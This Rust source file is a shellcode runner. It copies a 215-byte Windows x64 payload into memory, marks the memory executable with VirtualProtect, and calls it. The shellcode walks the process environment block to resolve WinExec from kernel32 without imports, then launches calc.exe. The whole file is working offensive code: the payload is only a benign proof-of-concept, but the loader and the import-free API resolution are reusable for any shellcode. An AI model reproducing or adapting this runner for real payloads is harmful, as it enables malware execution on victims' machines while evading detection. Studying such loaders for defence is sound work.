/*
    Windows x64 Calc.exe Shellcode
    call WinExec from kernel32.dll without external dependencies dynamically ...!
*/

use std::ptr::null_mut;

use winapi::um::memoryapi::{VirtualAlloc, VirtualProtect};

fn main() -> std::io::Result<()> {
    let shellcode: [u8; 215] = [
        0x48, 0x31, 0xdb, 0x65, 0x48, 0x8b, 0x1c, 0x25, 0x60, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x5b,
        0x18, 0x48, 0x81, 0xc3, 0x20, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x1b, 0x48, 0x8b, 0x1b, 0x48,
        0x8b, 0x1b, 0x48, 0x8b, 0x5b, 0x20, 0x49, 0x89, 0xd8, 0x41, 0x8b, 0x58, 0x3c, 0x4c, 0x01,
        0xc3, 0x48, 0x31, 0xc9, 0x80, 0xc1, 0x88, 0x8b, 0x1c, 0x0b, 0x4c, 0x01, 0xc3, 0x49, 0x89,
        0xd9, 0x4d, 0x31, 0xd2, 0x45, 0x8b, 0x51, 0x1c, 0x4d, 0x01, 0xc2, 0x4d, 0x31, 0xdb, 0x45,
        0x8b, 0x59, 0x20, 0x4d, 0x01, 0xc3, 0x4d, 0x31, 0xe4, 0x45, 0x8b, 0x61, 0x24, 0x4d, 0x01,
        0xc4, 0x48, 0x31, 0xc9, 0x80, 0xc1, 0x07, 0x48, 0x31, 0xc0, 0x50, 0x48, 0xb8, 0x57, 0x69,
        0x6e, 0x45, 0x78, 0x65, 0x63, 0x00, 0x50, 0x48, 0x89, 0xe3, 0xe8, 0x33, 0x00, 0x00, 0x00,
        0x49, 0x89, 0xc5, 0x48, 0x31, 0xc9, 0x48, 0x31, 0xd2, 0x51, 0x48, 0xb9, 0x63, 0x61, 0x6c,
        0x63, 0x2e, 0x65, 0x78, 0x65, 0x51, 0x48, 0x89, 0xe1, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0x48, 0x81, 0xec, 0x20,
        0x00, 0x00, 0x00, 0x41, 0xff, 0xd5, 0x48, 0x31, 0xc0, 0x51, 0x48, 0x31, 0xff, 0x48, 0x8b,
        0x0c, 0x24, 0x48, 0x89, 0xde, 0x41, 0x8b, 0x3c, 0x83, 0x4c, 0x01, 0xc7, 0xf3, 0xa6, 0x74,
        0x05, 0x48, 0xff, 0xc0, 0xeb, 0xe6, 0x59, 0x66, 0x41, 0x8b, 0x04, 0x44, 0x41, 0x8b, 0x04,
        0x82, 0x4c, 0x01, 0xc0, 0xc3,
    ];


    unsafe {
        let mem = VirtualAlloc(null_mut(), shellcode.len(), 0x1000 | 0x2000, 0x04);

        if mem.is_null() {
            return Err(std::io::Error::last_os_error());
        }

        std::ptr::copy_nonoverlapping(shellcode.as_ptr(), mem as *mut u8, shellcode.len());

        let mut old_protect = 0;
        let result = VirtualProtect(mem, shellcode.len(), 0x40, &mut old_protect);

        if result == 0 {
            return Err(std::io::Error::last_os_error());
        }

        let func: extern "C" fn() = std::mem::transmute(mem);
        func();
    }

    Ok(())
}
